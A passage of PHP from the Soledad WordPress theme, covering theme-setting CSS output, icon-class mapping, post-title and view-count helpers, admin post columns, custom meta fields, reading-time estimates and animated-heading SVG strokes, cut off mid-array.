                .penci-block-vc .penci-border-arrow .inner-arrow { background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_bg' ); ?>; }
                .penci-block-vc .style-2.penci-border-arrow:after{ border-top-color: <?php echo get_theme_mod( 'penci_sidebar_heading_bg' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_outer_bg' ) ) : ?>
                .penci-block-vc .penci-border-arrow:after { background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_outer_bg' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color' ) ) : ?>
                .penci-block-vc .penci-border-arrow .inner-arrow, .penci-block-vc.style-4 .penci-border-arrow .inner-arrow:before, .penci-block-vc.style-4 .penci-border-arrow .inner-arrow:after, .penci-block-vc.style-5 .penci-border-arrow, .penci-block-vc.style-7
                .penci-border-arrow, .penci-block-vc.style-9 .penci-border-arrow { border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>; }
                .penci-block-vc .penci-border-arrow:before { border-top-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color5' ) ) : ?>
                .penci-block-vc .style-5.penci-border-arrow { border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color5' ); ?>; }
                .penci-block-vc .style-5.penci-border-arrow .inner-arrow{ border-bottom-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color5' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color7' ) ) : ?>
                .penci-block-vc .style-7.penci-border-arrow .inner-arrow:before, .penci-block-vc.style-9 .penci-border-arrow .inner-arrow:before { background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color7' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_border_inner_color' ) ) : ?>
                .penci-block-vc .penci-border-arrow:after { border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_inner_color' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_color' ) ) : ?>
                .penci-block-vc .penci-border-arrow .inner-arrow { color: <?php echo get_theme_mod( 'penci_sidebar_heading_color' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_remove_border_outer' ) ) : ?>
                .penci-block-vc .penci-border-arrow:after { content: none; display: none; }
                .penci-block-vc .widget-title{ margin-left: 0; margin-right: 0; margin-top: 0; }
                .penci-block-vc .penci-border-arrow:before{ bottom: -6px; border-width: 6px; margin-left: -6px; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_remove_arrow_down' ) ) : ?>
                .penci-block-vc .penci-border-arrow:before, .penci-block-vc .style-2.penci-border-arrow:after { content: none; display: none; }
			<?php
			endif;
		}
	}
}

/**
 * Get icon font awesome with each version
 *
 * Note important : if edit function
 *
 * @see penci_icon_by_ver()
 */
if ( ! function_exists( 'penci_icon_by_ver' ) ) :
	function penci_icon_by_ver( $class, $style = '', $sharing = false ) {

		if ( ( get_theme_mod( 'penci_outline_social_icon' ) && true != $sharing ) || ( get_theme_mod( 'penci_outline_social_share' ) && true == $sharing ) ) {
			if ( 'fab fa-facebook-f' == $class ) {
				$class = 'penciicon-facebook';
			} elseif ( 'fab fa-facebook-f' == $class ) {
				$class = 'penciicon-facebook';
			} elseif ( 'fab fa-twitter' == $class ) {
				$class = 'penciicon-twitter';
			} elseif ( 'fab fa-instagram' == $class ) {
				$class = 'penciicon-instagram';
			} elseif ( 'fab fa-pinterest' == $class ) {
				$class = 'penciicon-pinterest';
			} elseif ( 'fab fa-linkedin-in' == $class ) {
				$class = 'penciicon-linkedin';
			} elseif ( 'fab fa-flickr' == $class ) {
				$class = 'penciicon-flickr';
			} elseif ( 'fab fa-behance' == $class ) {
				$class = 'penciicon-behance';
			} elseif ( 'fab fa-tumblr' == $class ) {
				$class = 'penciicon-tumblr';
			} elseif ( 'fab fa-youtube' == $class ) {
				$class = 'penciicon-youtube';
			} elseif ( 'fas fa-envelope' == $class ) {
				$class = 'penciicon-email';
			} elseif ( 'fab fa-vk' == $class ) {
				$class = 'penciicon-vk';
			} elseif ( 'fab fa-vine' == $class ) {
				$class = 'penciicon-vine';
			} elseif ( 'fab fa-soundcloud' == $class ) {
				$class = 'penciicon-soundcloud';
			} elseif ( 'fab fa-snapchat' == $class ) {
				$class = 'penciicon-snapchat';
			} elseif ( 'fab fa-spotify' == $class ) {
				$class = 'penciicon-spotify';
			} elseif ( 'fab fa-github' == $class ) {
				$class = 'penciicon-github';
			} elseif ( 'fab fa-stack-overflow' == $class ) {
				$class = 'penciicon-stack-overflow';
			} elseif ( 'fab fa-twitch' == $class ) {
				$class = 'penciicon-twitch';
			} elseif ( 'fab fa-vimeo-v' == $class ) {
				$class = 'penciicon-vimeo';
			} elseif ( 'fab fa-steam' == $class ) {
				$class = 'penciicon-steam';
			} elseif ( 'fab fa-xing' == $class ) {
				$class = 'penciicon-xing';
			} elseif ( 'fab fa-whatsapp' == $class ) {
				$class = 'penciicon-whatsapp';
			} elseif ( 'fab fa-telegram' == $class ) {
				$class = 'penciicon-telegram';
			} elseif ( 'fab fa-reddit-alien' == $class ) {
				$class = 'penciicon-reddit';
			} elseif ( 'fab fa-odnoklassniki' == $class ) {
				$class = 'penciicon-odnoklassniki';
			} elseif ( 'fab fa-stumbleupon' == $class ) {
				$class = 'penciicon-stumbleupon';
			} elseif ( 'fab fa-weixin' == $class ) {
				$class = 'penciicon-wechat';
			} elseif ( 'fab fa-weibo' == $class ) {
				$class = 'penciicon-sina-weibo';
			} elseif ( 'penciicon-line' == $class ) {
				$class = 'penciicon-line-1';
			} elseif ( 'penciicon-viber' == $class ) {
				$class = 'penciicon-viber-1';
			} elseif ( 'penciicon-discord' == $class ) {
				$class = 'penciicon-discord-1';
			} elseif ( 'fas fa-rss' == $class ) {
				$class = 'penciicon-rss';
			} elseif ( 'fab fa-slack' == $class ) {
				$class = 'penciicon-slack';
			} elseif ( 'fab fa-tripadvisor' == $class ) {
				$class = 'penciicon-tripadvisor';
			} elseif ( 'penciicon-tik-tok' == $class ) {
				$class = 'penciicon-tik-tok-1';
			} elseif ( 'penciicon-blogger-1' == $class ) {
				$class = 'penciicon-blogger';
			} elseif ( 'penciicon-deviantart-1' == $class ) {
				$class = 'penciicon-deviantart';
			} elseif ( 'penciicon-evernote' == $class ) {
				$class = 'penciicon-evernote-1';
			} elseif ( 'penciicon-forrst' == $class ) {
				$class = 'penciicon-forrst-1';
			} elseif ( 'penciicon-grooveshark' == $class ) {
				$class = 'penciicon-grooveshark-1';
			} elseif ( 'penciicon-myspace-logo' == $class ) {
				$class = 'penciicon-myspace';
			} elseif ( 'fab fa-paypal' == $class ) {
				$class = 'penciicon-brand';
			} elseif ( 'fab fa-skype' == $class ) {
				$class = 'penciicon-skype';
			} elseif ( 'fab fa-windows' == $class ) {
				$class = 'penciicon-windows';
			} elseif ( 'fab fa-wordpress' == $class ) {
				$class = 'penciicon-wordpress-logo';
			}
		}

		$fontawesome_ver5 = get_theme_mod( 'penci_fontawesome_ver5' );
		if ( ! $fontawesome_ver5 ) {
			$class = str_replace( array( 'fab ', 'fal ', 'far ', 'fas ' ), 'fa ', $class );

			if ( 'fa fa-facebook-f' == $class ) {
				$class = str_replace( 'facebook-f', 'facebook', $class );
			} elseif ( 'fa fa-thumbtack' == $class ) {
				$class = str_replace( 'thumbtack', 'thumb-tack', $class );
			} elseif ( 'fa fa-linkedin-in' == $class ) {
				$class = str_replace( 'linkedin-in', 'linkedin', $class );
			} elseif ( 'fa fa-image' == $class ) {
				$class = str_replace( 'fa-image', 'fa-picture-o', $class );
			} elseif ( 'fa fa-clock' == $class ) {
				$class = str_replace( 'fa-clock', 'fa-clock-o', $class );
			} elseif ( 'fa fa-user-circle-o' == $class ) {
				$class = str_replace( 'fa-user-circle-o', 'fa-user-circle', $class );
			} elseif ( 'fa fa-sign-out-alt' == $class ) {
				$class = str_replace( 'fa-sign-out-alt', 'fa-sign-out', $class );
			} elseif ( 'fa fa-sync' == $class ) {
				$class = str_replace( 'fa-sync', 'fa-refresh', $class );
			} elseif ( 'fa fa-youtube' == $class ) {
				$class = str_replace( 'fa-youtube', 'fa-youtube-play', $class );
			} elseif ( 'fa fa-envelope-o' == $class ) {
				$class = str_replace( 'fa-envelope-o', 'fa-envelope', $class );
			} elseif ( 'fa fa-snapchat-ghost' == $class ) {
				$class = str_replace( 'fa-snapchat-ghost', 'fa-snapchat', $class );
			} elseif ( 'fa fa-vimeo-v' == $class ) {
				$class = str_replace( 'fa-vimeo-v', 'fa-vimeo', $class );
			} elseif ( 'fa fa-times' == $class ) {
				$class = str_replace( 'fa-times', 'fa-close', $class );
			} elseif ( 'fa fa-heart' == $class ) {
				$class = str_replace( 'fa-heart', 'fa-heart-o', $class );
			} elseif ( 'fa fa-comment' == $class ) {
				$class = str_replace( 'fa-comment', 'fa-comment-o', $class );
			}
		}

		if ( is_numeric( $class ) ) {

			$icon_path = wp_get_original_image_path( $class );

			if ( is_string( $icon_path ) && 'image/svg+xml' === mime_content_type( $icon_path ) ) {
				$return = '<i class="pccsi-svg" style="' . esc_attr( penci_get_icon_color( $class ) ) . '">' . file_get_contents( $icon_path ) . '</i>';
			} else {
				$return = '<i class="pccsi-img" style="' . esc_attr( penci_get_icon_color( $class ) ) . '">' . wp_get_attachment_image( $class, 'full' ) . '</i>';
			}
		} else {
			$return = '<i class="penci-faicon ' . esc_attr( $class ) . '" ' . ( $style ? ' ' . $style : '' ) . '></i>';
		}

		return $return;
	}
endif;

if ( ! function_exists( 'penci_get_icon_color_list' ) ) :
	function penci_get_icon_color_list() {
		$custom_social_icons = get_option( 'penci_custom_socials', array() );

		$keys = array();

		foreach ( $custom_social_icons as $key => $icon_data ) {
			if ( isset( $icon_data['icon'] ) && $icon_data['icon'] ) {
				$keys[ $icon_data['icon'] ] = isset( $icon_data['color'] ) && $icon_data['color'] ? $icon_data['color'] : '';
			}
		}

		return $keys;
	}
endif;

if ( ! function_exists( 'penci_get_icon_color' ) ) :
	function penci_get_icon_color( $class ) {

		$keys = penci_get_icon_color_list();

		return isset( $keys[ $class ] ) && $keys[ $class ] ? '--pcci:' . $keys[ $class ] : '';
	}
endif;
/**
 * Show icon font awesome with each version
 */
if ( ! function_exists( 'penci_fawesome_icon' ) ) :
	function penci_fawesome_icon( $class, $style = '' ) {
		echo penci_icon_by_ver( $class, $style );
	}
endif;

if ( ! function_exists( 'penci_svg_menu_icon' ) ) :
	function penci_svg_menu_icon() {
		echo '<svg width=18px height=18px viewBox="0 0 512 384" version=1.1 xmlns=http://www.w3.org/2000/svg xmlns:xlink=http://www.w3.org/1999/xlink><g stroke=none stroke-width=1 fill-rule=evenodd><g transform="translate(0.000000, 0.250080)"><rect x=0 y=0 width=512 height=62></rect><rect x=0 y=161 width=512 height=62></rect><rect x=0 y=321 width=512 height=62></rect></g></g></svg>';
	}
endif;

/**
 * Trims post title.
 *
 * @param $id
 * @param int $length
 * @param null $more
 *
 * @return string
 */
if ( ! function_exists( 'penci_get_trim_post_title' ) ) {
	function penci_get_trim_post_title( $id = '', $length = 20, $more = '...' ) {
		if ( empty( $id ) ) {
			$id = get_the_ID();
		}

		if ( ! $length || ! is_numeric( $length ) ) {
			return get_the_title( $id );
		}

		return sanitize_text_field( wp_trim_words( wp_strip_all_tags( get_the_title( $id ) ), $length, $more ) );
	}
}
if ( ! function_exists( 'penci_trim_post_title' ) ) {
	function penci_trim_post_title( $id = '', $length = 20, $more = '...' ) {
		echo penci_get_trim_post_title( $id, $length, $more );
	}
}

if ( ! function_exists( 'penci_get_post_countview' ) ) {
	function penci_get_post_countview( $post_id = null ) {

		echo '<span>';
		penci_fawesome_icon( 'fas fa-eye' );
		echo penci_get_post_views( $post_id );
		echo ' ' . penci_get_setting( 'penci_trans_countviews' );
		echo '</span>';
	}
}

/*
Hook for Soledad Penci Page Speed */
/* Options from Soledad */
if ( ! function_exists( 'penci_classes_slider_lazy' ) ) {
	function penci_classes_slider_lazy() {

		return 'penci-lazy';
	}
}

if ( ! function_exists( 'penci_get_html_animation_loading' ) ) {
	function penci_get_html_animation_loading( $style_animation ) {

		$style_animation = $style_animation == 'df' ? get_theme_mod( 'penci_block_lajax', 's9' ) : $style_animation;

		$animation = array(
			's1' => '<div class="penci-loader-effect penci-loading-animation-1"><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div></div>',
			's2' => '<div class="penci-loader-effect penci-loading-animation-2"><div class="penci-loading-animation"></div></div>',
			's3' => '<div class="penci-loader-effect penci-loading-animation-3"><div class="penci-loading-animation"></div></div>',
			's4' => '<div class="penci-loader-effect penci-loading-animation-4"><div class="penci-loading-animation"></div></div>',
			's5' => '<div class="penci-loader-effect penci-loading-animation-5 penci-three-bounce"><div class="penci-loading-animation one"></div><div class="penci-loading-animation two"></div><div class="penci-loading-animation three"></div></div>',
			's6' => '<div class="penci-loader-effect penci-loading-animation-6 penci-load-thecube"><div class="penci-loading-animation penci-load-cube penci-load-c1"></div><div class="penci-loading-animation penci-load-cube penci-load-c2"></div><div class="penci-loading-animation penci-load-cube penci-load-c4"></div><div class="penci-loading-animation penci-load-cube penci-load-c3"></div></div>',
			's7' => '<div class="penci-loader-effect penci-loading-animation-7"><div class="penci-loading-animation"></div><div class="penci-loading-animation penci-loading-animation-inner-2"></div><div class="penci-loading-animation penci-loading-animation-inner-3"></div><div class="penci-loading-animation penci-loading-animation-inner-4"></div><div class="penci-loading-animation penci-loading-animation-inner-5"></div><div class="penci-loading-animation penci-loading-animation-inner-6"></div><div class="penci-loading-animation penci-loading-animation-inner-7"></div><div class="penci-loading-animation penci-loading-animation-inner-8"></div><div class="penci-loading-animation penci-loading-animation-inner-9"></div></div>',
			's8' => '<div class="penci-loader-effect penci-loading-animation-8"><div class="penci-loading-animation"></div><div class="penci-loading-animation penci-loading-animation-inner-2"></div></div>',
			's9' => '<div class="penci-loader-effect penci-loading-animation-9"> <div class="penci-loading-circle"> <div class="penci-loading-circle1 penci-loading-circle-inner"></div> <div class="penci-loading-circle2 penci-loading-circle-inner"></div> <div class="penci-loading-circle3 penci-loading-circle-inner"></div> <div class="penci-loading-circle4 penci-loading-circle-inner"></div> <div class="penci-loading-circle5 penci-loading-circle-inner"></div> <div class="penci-loading-circle6 penci-loading-circle-inner"></div> <div class="penci-loading-circle7 penci-loading-circle-inner"></div> <div class="penci-loading-circle8 penci-loading-circle-inner"></div> <div class="penci-loading-circle9 penci-loading-circle-inner"></div> <div class="penci-loading-circle10 penci-loading-circle-inner"></div> <div class="penci-loading-circle11 penci-loading-circle-inner"></div> <div class="penci-loading-circle12 penci-loading-circle-inner"></div> </div> </div>',
		);

		return isset( $animation[ $style_animation ] ) ? $animation[ $style_animation ] : $animation['s9'];
	}
}
if ( ! function_exists( 'penci_add_postviews_col' ) ) {
	add_filter( 'manage_post_posts_columns', 'penci_add_postviews_col' );
	function penci_add_postviews_col( $columns ) {
		$columns['penci_thumbnail'] = __( 'Thumbnail', 'soledad' );
		if ( get_theme_mod( 'penci_tviews_pcol' ) ) {
			$columns['penci_views'] = '<span title="Total Views" class="dashicons dashicons-chart-bar"></span><span class="dash-title title">Total Views</span>';
		}

		return $columns;
	}
}

if ( ! function_exists( 'penci_register_totalview_sortable' ) && get_theme_mod( 'penci_tviews_pcol' ) ) {
	function penci_register_totalview_sortable( $columns ) {
		$columns['penci_views'] = 'views';

		return $columns;
	}

	add_filter( 'manage_edit-post_sortable_columns', 'penci_register_totalview_sortable' );
}


if ( ! function_exists( 'penci_register_totalview_order' ) && get_theme_mod( 'penci_tviews_pcol' ) ) {
	add_action( 'pre_get_posts', 'penci_register_totalview_order' );
	function penci_register_totalview_order( $query ) {
		if ( ! is_admin() ) {
			return;
		}

		$orderby = $query->get( 'orderby' );

		if ( 'views' == $orderby ) {
			$count_key = penci_get_postviews_key();
			$query->set( 'meta_key', $count_key );
			$query->set( 'orderby', 'meta_value_num' );
		}
	}
}

if ( ! function_exists( 'penci_posts_column_order' ) ) {
	add_filter( 'manage_post_posts_columns', 'penci_posts_column_order' );
	function penci_posts_column_order( $columns ) {
		$n_columns = array();
		$move      = 'penci_thumbnail'; // what to move
		$before    = 'title'; // move before this
		foreach ( $columns as $key => $value ) {
			if ( $key == $before ) {
				$n_columns[ $move ] = $move;
			}
			$n_columns[ $key ] = $value;
		}

		return $n_columns;
	}
}

if ( ! function_exists( 'penci_add_postviews_col_content' ) ) {
	add_action( 'manage_post_posts_custom_column', 'penci_add_postviews_col_content', 10, 2 );
	function penci_add_postviews_col_content( $column, $post_id ) {
		switch ( $column ) {
			case 'penci_views':
				$count_key = penci_get_postviews_key();
				$count     = get_post_meta( $post_id, $count_key, true );

				echo $count;
				break;
			case 'penci_thumbnail':
				if ( has_post_thumbnail( $post_id ) ) {
					echo wp_get_attachment_image( get_post_thumbnail_id( $post_id ), array( 50, 50 ) );
				} else {
					echo '<img width="50" height="50" src="' . PENCI_SOLEDAD_URL . '/images/nothumb.jpg" alt=""/>';
				}
				break;
		}
	}
}

if ( is_admin() && isset( $_GET['pcfbdm'] ) && $_GET['pcfbdm'] ) {
	$pcfbdm = $_GET['pcfbdm'];
	if ( 'yes' == $pcfbdm ) {
		update_option( 'pcfbdm', 'yes' );
	}
}

add_action(
	'admin_notices',
	function () {
		$link   = ( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http' ) . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
		$link   = add_query_arg( array( 'pcfbdm' => 'yes' ), $link );
		$pcfbdm = get_option( 'pcfbdm', false );
		if ( $pcfbdm != 'yes' ) {
			?>
            <div class="notice pc-fb-group-notice">
                <p class="fbp1">
                    We just created the Soledad Facebook Users Group - Join Now</p>
                <p class="fbp2">Join with other users that love to use Soledad to build their websites - for sharing,
                    showcase your works, assist, discuss, and updates related to Soledad WordPress Theme.</p>
                <div class="pc-fbbtn-gr">
                    <a class="pc-fb-btn" target="_blank" href="https://www.facebook.com/groups/soledad/">Join Facebook
                        Group</a>
                    <a class="pc-fb-btn pc-fb-dismiss" href="<?php echo esc_url( $link ); ?>">Alreay Joined</a>
                    <a class="pc-fb-dismiss" href="<?php echo esc_url( $link ); ?>">No, Thanks</a>
                </div>
            </div>
			<?php
		}
	}
);

if ( ! function_exists( 'penci_switch_value' ) ) {
	function penci_switch_value( $value ) {
		switch ( $value ) {
			case 'yes':
				$return = true;
				break;
			case 'no':
				$return = false;
				break;
			default:
				$return = $value;
				break;
		}

		return $return;
	}
}

if ( ! function_exists( 'penci_get_elementor_content' ) ) {
	function penci_get_elementor_content( $id ) {
		$content = \Elementor\Plugin::$instance->frontend->get_builder_content_for_display( $id, true );

		return $content;
	}
}


if ( ! function_exists( 'penci_get_afc_fields' ) ) {
	function penci_get_afc_fields( $showimg = false ) {

		$acf_fields_array = array();

		$acf_fields = get_posts(
			array(
				'post_type'      => 'acf-field',
				'posts_per_page' => - 1,
			)
		);

		$fields_support = apply_filters(
			'penci_acf_fields',
			array(
				'text',
				'textarea',
				'number',
				'range',
				'email',
				'url',
			)
		);

		if ( $showimg ) {
			$fields_support[] = 'image';
		}

		if ( $acf_fields ) {
			foreach ( $acf_fields as $acf_field ) {
				$field_data = unserialize( $acf_field->post_content );
				if ( in_array( $field_data['type'], $fields_support ) ) {
					$acf_fields_array[ $acf_field->post_excerpt ] = $acf_field->post_title;
				}
			}
		}

		return $acf_fields_array;
	}
}

if ( ! function_exists( 'penci_get_field_type' ) ) {
	function penci_get_field_type( $meta ) {
		global $wpdb;
		$type = 'text';
		if ( ! $meta ) {
			return $type;
		}
		$meta     = esc_sql( $meta );
		$querystr = "SELECT * FROM $wpdb->posts WHERE $wpdb->posts.post_excerpt = '{$meta}' AND $wpdb->posts.post_type = 'acf-field'";
		$posts    = $wpdb->get_results( $querystr );
		if ( $posts && isset( $posts[0]->post_content ) ) {
			$meta_data = unserialize( $posts[0]->post_content );
			$type      = $meta_data['type'];
		}

		return $type;
	}
}

if ( ! function_exists( 'penci_show_custom_meta_fields' ) ) {
	function penci_show_custom_meta_fields( $args = array() ) {

		$default_args = array(
			'id'        => get_the_ID(),
			'validator' => get_theme_mod( 'penci_cpost_cmeta_enable' ),
			'keys'      => get_theme_mod( 'penci_cpost_cmeta_fields' ),
			'acf'       => get_theme_mod( 'penci_cpost_cmeta_acf' ),
			'label'     => get_theme_mod( 'penci_cpost_cmeta_label' ),
			'divider'   => get_theme_mod( 'penci_cpost_divider_cmeta_label', ':' ),
		);

		$args = wp_parse_args( $args, $default_args );

		if ( ! $args['validator'] ) {
			return false;
		}

		if ( 'no' === $args['validator'] ) {
			return false;
		}

		$return = $label_html = '';

		$args['keys'] = is_array( $args['keys'] ) ? $args['keys'] : explode( ',', preg_replace( '/\s*/m', '', $args['keys'] ) );
		$args['acf']  = is_array( $args['acf'] ) ? $args['acf'] : explode( ',', preg_replace( '/\s*/m', '', $args['acf'] ) );

		$custom_showing_metas = array_filter( array_merge( $args['keys'], $args['acf'] ) );
		$labels               = penci_get_afc_fields();

		if ( $custom_showing_metas ) {

			foreach ( $custom_showing_metas as $meta ) {
				$value = get_post_meta( $args['id'], $meta, true );

				if ( $args['label'] ) {
					$label_html = isset( $labels[ $meta ] ) && $labels[ $meta ] ? $labels[ $meta ] . do_shortcode( $args['divider'] ) . ' ' : '';
				}

				if ( $value && is_string( $value ) ) {
					$return .= '<span class="pccsmt-field ' . esc_attr( $meta ) . '">' . $label_html . $value . '</span>';
				}
			}
		}

		return $return;
	}
}

if ( ! function_exists( 'penci_estimate_readingtime' ) ) {
	function penci_estimate_readingtime( $id ) {

		$return = get_theme_mod( 'penci_readtime_default' ) ? get_theme_mod( 'penci_readtime_default' ) : '';
		$auto   = get_theme_mod( 'penci_readtime_auto' );
		$wpm    = get_theme_mod( 'penci_readtime_wpm' ) ? get_theme_mod( 'penci_readtime_wpm' ) : 200;
		$text   = wp_strip_all_tags( get_the_content( null, false, $id ) );

		if ( $auto ) {
			$totalWords = count( preg_split( '~[\p{Z}\p{P}]+~u', $text, 0, PREG_SPLIT_NO_EMPTY ) );
			$minutes    = round( $totalWords / $wpm );
			$return     = $minutes . ' ' . penci_get_setting( 'penci_trans_minutes' );
		}

		return $return;
	}
}

add_action(
	'penci_single_meta_content',
	function () {
		echo penci_show_custom_meta_fields();
	}
);

add_filter(
	'coauthors_default_between_last',
	function () {
		return ' & ';
	}
);

if ( ! function_exists( 'penci_animated_heading_stroke' ) ) {
	function penci_animated_heading_stroke( $stroke, $style ) {
		$gradient_svg    = '';
		$gradient_stroke = '';

		$colorstyle = esc_attr( $style );

		if ( 'gradient' === $colorstyle ) {
			$gradient_svg    = '<linearGradient x1="0" y1="0" x2="100%" y2="100%" id="penci-highlight-gradient"><stop offset="0"/><stop offset="100%"/></linearGradient>';
			$gradient_stroke = 'stroke="url(#penci-highlight-gradient)"';
		}

		$strokes = array(
			'circle'           => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M281.68,15.89S135.3,14.19,22.05,81.45s331.78,76.17,441,35.68S363.86-35.6,178.77,26.39" transform="translate(0.75 -3.61)"/></svg>',
			'curly'            => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M6.5,75.5s25-29,50,0,50,0,50,0,25-32,50,0,50-1,50-1,25-30,50,1,50,0,50,0,27-28,50,0,50,0,50,0,26-25,50,0,36,7,36,7" transform="translate(-3.09 -56.78)"/></svg>',
			'underline'        => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M3,77.5s200.54-11,493,0" transform="translate(-2.75 -68.11)"/></svg>',
			'double'           => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M3.69,18.7s240.11-30,492.31,0" transform="translate(-3.14 -0.87)"/><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M3.65,144S248.43,128,496,144" transform="translate(-3.14 -0.87)"/></svg>',
			'double-underline' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M3,59.5s152.5-13,493-3" transform="translate(-2.62 -48.22)"/><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M3,83.5s200.54-11,493,0" transform="translate(-2.62 -48.22)"/></svg>',
			'underline-zigzag' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M9.5,52.5s361-31,478,0" transform="translate(-9.11 -34.22)"/><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M484.5,55.5s-386-2-432,15c0,0,317-12,358,5,0,0-177-4-227,11" transform="translate(-9.11 -34.22)"/></svg>',
			'diagonal'         => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M7.5,6.5s257,84,483,136" transform="translate(-6.1 -2.22)"/></svg>',
			'strikethrough'    => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M7.5,75.5s200,10,485,0" transform="translate(-7.28 -71)"/></svg>',
			'x'                => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M7.5,6.5s257,84,483,136" transform="translate(-6.1 -2.22)"/><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M490.5,6.5s-310,103-483,136" transform="translate(-6.1 -2.22)"/></svg>',
			'check'            => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M12.3,55.4,33.8,76.9,87.7,23.1"/></svg>',
			'pan'              => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M72.7,72.7A32.1,32.1,0,0,0,27.3,27.3M72.7,72.7A32.1,32.1,0,0,1,27.3,27.3M72.7,72.7,27.3,27.3"/></svg>',
			'click'            => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M64,64,56.8,82.1,42.3,42.3,82.1,56.8Zm0,0L82.1,82.1M35.8,17.9l2.8,10.5M28.4,38.6,17.9,35.8M60.2,24.4l-7.6,7.7M32.1,52.6l-7.7,7.6"/></svg>',
			'heart'            => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M22.6,27.3a16,16,0,0,0,0,22.7L50,77.4,77.4,50A16.1,16.1,0,1,0,54.7,27.3L50,32l-4.7-4.7A16,16,0,0,0,22.6,27.3Z"/></svg>',
			'bolt'             => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M54,42V13.9L17.9,58H46V86.1L82.1,42Z"/></svg>',
			'sparkle'          => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M21.4,13.3V29.6m-8.1-8.2H29.6m-4.1,49V86.7m-8.1-8.1H33.7M54.1,13.3l9.3,28L86.7,50,63.4,58.7l-9.3,28-9.3-28L21.4,50l23.4-8.7Z"/></svg>',
			'line'             => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 600 600" preserveAspectRatio="xMidYMid slice">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M38.38581848144531,139.37005615234375C71.25983301798502,65.15746370951335,197.83462778727215,4.724402109781902,282.8739929199219,22.440937042236328C367.9133580525716,40.15747197469075,550.787363688151,189.7637564341227,548.6220092773438,245.6692657470703C546.4566548665365,301.5747750600179,347.04721705118817,320.86612192789715,269.8818664550781,357.8739929199219C192.71651585896808,394.8818639119466,124.21258036295572,504.1338144938151,85.6299057006836,467.71649169921875C47.04723103841146,431.2991689046224,5.511803944905601,213.58264859517413,38.38581848144531,139.37005615234375C71.25983301798502,65.15746370951335,197.83462778727215,4.724402109781902,282.8739929199219,22.440937042236328"></path></svg>',
